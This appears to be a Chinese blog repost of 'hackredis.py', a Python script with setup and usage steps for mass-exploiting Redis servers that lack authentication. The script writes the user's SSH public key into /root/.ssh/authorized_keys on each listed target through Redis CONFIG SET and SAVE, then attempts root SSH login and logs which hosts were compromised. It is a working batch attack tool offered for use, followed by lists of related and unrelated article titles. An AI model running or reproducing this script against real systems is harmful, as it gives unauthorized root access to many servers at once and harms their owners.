一.getshell前提

①能有对 /root/.ssh/目录写入的权限

②目标机开启22端口

二.安装依赖

sudo easy_install redis

三.使用

redis python hackredis.py
usage: hackredis.py [-h] [-l IPLIST] [-p PORT] [-r ID_RSAFILE] [-sp SSH_PORT] For Example:
-----------------------------------------------------------------------------
python hackredis.py -l ip.txt -p 6379 -r foo.txt -sp 22 optional arguments:
-h, --help show this help message and exit
-l IPLIST the hosts of target
-p PORT the redis default port
-r ID_RSAFILE the ssh id_rsa file you generate
-sp SSH_PORT the ssh port

四.创建ssh密钥

ssh-keygen -t rsa              /一直按回车就OK了
cp ~/.ssh/id_rsa.pub /tmp/foo.txt

五.启动脚本

将ip列表填入ip.txt,然后就可以跑了。 成功的将会输出到success.txt,执行成功但是ssh连接失败的会存储在unconnect.txt,操作失败的会存储在fail.txt。

!/usr/bin/python

#coding:utf-8

#############################################################

## @file hackredis.py         ##

## @date 2015-12-11          ##

## @author evi1cg           ##

#############################################################

import redis

import argparse

import textwrap

import sys

import pexpect

def getargs():

    parser = argparse.ArgumentParser(prog='hackredis.py', formatter_class=argparse.RawTextHelpFormatter, description=textwrap.dedent('''/

    For Example:

    -----------------------------------------------------------------------------

    python hackredis.py -l ip.txt -p 6379 -r foo.txt -sp 22'''))

    parser.add_argument('-l', dest='iplist', type=str, help='the hosts of target')

    parser.add_argument('-p', dest='port', default=6379, type=int, help='the redis default port')

    parser.add_argument('-r', dest='id_rsafile', type=str, help='the ssh id_rsa file you generate')

    parser.add_argument('-sp', dest='ssh_port', type=int,default=22, help='the ssh port')

    if(len(sys.argv[1:]) / 2 != 4):

        sys.argv.append('-h')

    return parser.parse_args()

def hackredis(host,port):

    ck = 0

    try:

        print "[*] Attacking ip:%s"%host

        r =redis.StrictRedis(host=host,port=port,db=0,socket_timeout=2)

        r.flushall

        r.set('crackit',foo)

        r.config_set('dir','/root/.ssh/')

        r.config_set('dbfilename','authorized_keys')

        r.save()

        ck =1

    except:

        print "/033[1;31;40m[-]/033[0m Something wrong with %s"%host

        write(host,2)

        ck =0

    if ck == 1:

        check(host)

    else:

        pass

def check(host):

    print '/033[1;33;40m[*]/033[0m Check connecting... '

    try:

            ssh = pexpect.spawn('ssh root@%s -p %d' %(host,ssh_port))

            i = ssh.expect('[#/$]',timeout=2)

            if i == 0:

                print "/033[1;34;40m[+]/033[0m Success !"

                write(host,1)

            else:

                pass

    except:

            print "/033[1;32;40m[-]/033[0m Failed to connect !"

            write(host,3)

def write(host,suc):

    if suc == 1:

        filesname = 'success.txt'

    elif suc ==2:

        filesname = 'fail.txt'

    elif suc ==3:

        filesname = 'unconnect.txt'

    else:

        pass

    file_object = open(filesname,'a')

    file_object.write(host+'/n')

    file_object.close()

def main():

    global foo,ssh_port

    paramsargs = getargs()

    try:

        hosts = open(paramsargs.iplist,"r")

    except(IOError):

        print "Error: Check your hostfile path/n"

        sys.exit(1) 

    port = paramsargs.port

    ssh_port = paramsargs.ssh_port

    try:

        foo = '/n/n/n'+open(paramsargs.id_rsafile,"r").readline()+'/n/n/n'

    except(IOError):

        print "Error: Check your wordlist path/n"

        sys.exit(1)  

    ips = [p.replace('/n','') for p in hosts]

    for ip in ips:

        hackredis(ip.strip(),port)

if __name__ == "__main__":

    main()

原文链接:http://www.secange.com/2017/09/redis未授权批量提权脚本python-2/

Redis 未授权访问漏洞批量提权的更多相关文章

  1. Docker环境复现利用Redis未授权访问漏洞 >> 批量扫描检测利用

    关于Redis Redis(Remote Dictionary Server ),即远程字典服务,是一个开源的使用ANSI C语言编写.支持网络.可基于内存亦可持久化的日志型.Key-Value数据库 ...

  2. 利用redis未授权访问漏洞(windows版)

    0x00 原理   首先需要知道的是,redis是一种非关系型数据库.它在默认情况下,绑定在0.0.0.0:6379 ,若不采取相关策略,比如添加防火墙限制非信任IP访问,会使得redis服务暴露到公 ...

  3. [ Redis ] Redis 未授权访问漏洞被利用,服务器登陆不上

    一.缘由: 突然有一天某台服务器远程登陆不上,试了好几个人的账号都行,顿时慌了,感觉服务器被黑.在终于找到一个还在登陆状态的同事后,经查看/ect/passwd 和/etc/passwd-异常,文件中 ...

  4. Redis未授权访问漏洞的利用及防护

    Redis未授权访问漏洞的利用及防护 什么是Redis未授权访问漏洞? Redis在默认情况下,会绑定在0.0.0.0:6379.如果没有采取相关的安全策略,比如添加防火墙规则.避免其他非信任来源IP ...

  5. Redis 未授权访问漏洞(附Python脚本)

    0x01 环境搭建 #下载并安装 cd /tmp wget http://download.redis.io/releases/redis-2.8.17.tar.gz tar xzf redis-.t ...

  6. docker搭建redis未授权访问漏洞环境

    这是redis未授权访问漏洞环境,可以使用该环境练习重置/etc/passwd文件从而重置root密码 环境我已经搭好放在了docker hub 可以使用命令docker search ju5ton1 ...

  7. redis未授权访问漏洞那拿SHELL

    一.什么是redis未授权访问漏洞: 1.redis是一种文档型数据库,快速高效,存储在内存中,定期才会写磁盘.主要用于快速缓存,数据转存处理等.默认redis开在6379端口,可以直接访问.并不需要 ...

  8. 10.Redis未授权访问漏洞复现与利用

    一.漏洞简介以及危害: 1.什么是redis未授权访问漏洞: Redis 默认情况下,会绑定在 0.0.0.0:6379,如果没有进行采用相关的策略,比如添加防火墙规则避免其他非信任来源 ip 访问等 ...

  9. Redis未授权访问漏洞复现

    Redis未授权访问漏洞复现 一.漏洞描述 Redis默认情况下,会绑定在0.0.0.0:6379(在redis3.2之后,redis增加了protected-mode,在这个模式下,非绑定IP或者没 ...

随机推荐

  1. Python之dict字典详解

    Python内置了字典:dict的支持,dict全称dictionary,在其他语言中也称为map,字典是另 一种可变容器模型,且可存储任意类型对象.具有极快的查找速度. 字典是一种通过名字或者关键字 ...

  2. vue 中v-if 与v-show 的区别

    相同点或者说功能,都可以动态操作dom元素的显示隐藏 不同点: 1.手段:v-if是动态的向DOM树内添加或者删除DOM元素:v-show是通过设置DOM元素的display样式属性控制显隐: 2.编 ...

  3. c++ 让你的应用支持相对路径

    std::string GetCurrentExeDir(){ char szPath[1024] = { 0 };#ifdef WIN32 GetModuleFileName(NULL, szPat ...

  4. 09 Servlet中间服务 连接前段和后端

    import  导入    在当前类中使用外包中的类时使用 cookies 缓存 Alt + enter 提示快捷键 Servlet 服务  (连接前段和后端) Servlet本质就是Java类 Ja ...

  5. STM32入门系列-使用库函数点亮LED软硬件分析

    电路图分析 首先找来单片机的原理图,根据原理图进行相关的设计工作. 例如在上图中相同网络标号表示它们是连接在一起的,因此D1发光二极管阴极是连接在STM32的PC0管脚上,D2指示灯阴极连接在PC1管 ...

  6. OpenCascade拓扑对象之:TopoDS_Shape的三要素

    @font-face { font-family: "Times New Roman" } @font-face { font-family: "宋体" } @ ...

  7. PHP 将数组转换为JSON字符串<兼容中文>

    1 /************************************************************** 2 * 3 * 使用特定function对数组中所有元素做处理 4 ...

  8. MIPS汇编及模拟器下载

    1. 简述汇编语言发展 在计算机发展初期,人们用0-1序列来表示每一条语言,亦即二进制的机器指令 由于机器指令过于繁琐,程序员们开发出了一种新的语言,这种用符号表示的计算机语言被称为汇编语言 计算机继 ...

  9. Python优点与缺点

    优点 简单 -- Python 是一种代表简单主义思想的语言.阅读一个良好的 Python 程序就感觉像是在读英语一样,尽管这个英语的要求非常严格!Python 的这种伪代码本质是它最大的优点之一.它 ...

  10. layui form表单提交

    layui.use(['form'], function () { var form = layui.form; //监听提交 form.on('submit(formDemo)', function ...